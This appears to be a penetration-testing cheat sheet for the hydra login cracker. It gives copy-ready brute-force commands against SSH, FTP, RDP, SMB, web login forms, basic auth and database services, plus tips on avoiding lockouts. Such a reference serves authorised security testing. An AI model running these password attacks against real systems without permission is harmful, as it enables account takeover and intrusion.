☼
⌃
☰

hydra

Table of Contents

Fast, parallelised network login cracker. Primary tool for credential brute-forcing against network services and web forms. Use when you have a valid username and need to crack the password, or when testing default credentials at scale.

Related: Password Cracking Methodology John The Ripper Hashcat Web Application Testing Methodology

Core Flags

Flag Description
-l Single username
-L Username list file
-p Single password
-P Password list file
-t Parallel tasks per target (default 16)
-s Custom port
-f Stop after first valid credential found
-V Verbose — show each attempt
-o Output results to file

Common Workflows

SSH

SHELL
# Known username
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://$IP

# Username list
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://$IP -t 4

# Custom port
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://$IP

FTP

SHELL
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://$IP

RDP

SHELL
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$IP -t 4

SMB

SHELL
hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://$IP

HTTP POST Form

Requires three components: URL path, POST parameters with ^USER^ and ^PASS^ placeholders, and failure string.

SHELL
# Basic form
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  $IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# With cookie (authenticated area)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  $IP http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid:H=Cookie: session=abc123"

# HTTPS
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  $IP https-post-form "/login:username=^USER^&password=^PASS^:Invalid"

HTTP Basic Auth

SHELL
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  http-get://$IP/protected-path

MySQL / PostgreSQL

SHELL
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://$IP
hydra -l postgres -P /usr/share/wordlists/rockyou.txt postgres://$IP

Tips

  • Use -f to stop on first hit — avoids locking accounts
  • Reduce -t for SSH and RDP — too many parallel connections triggers lockouts or bans; -t 4 is safer
  • The failure string for HTTP forms must appear in the response when login fails — inspect the response in Burp first
  • Check the request in Burp to get exact parameter names before building the http-post-form syntax
  • Use -V during testing to confirm requests are being formed correctly before running large wordlists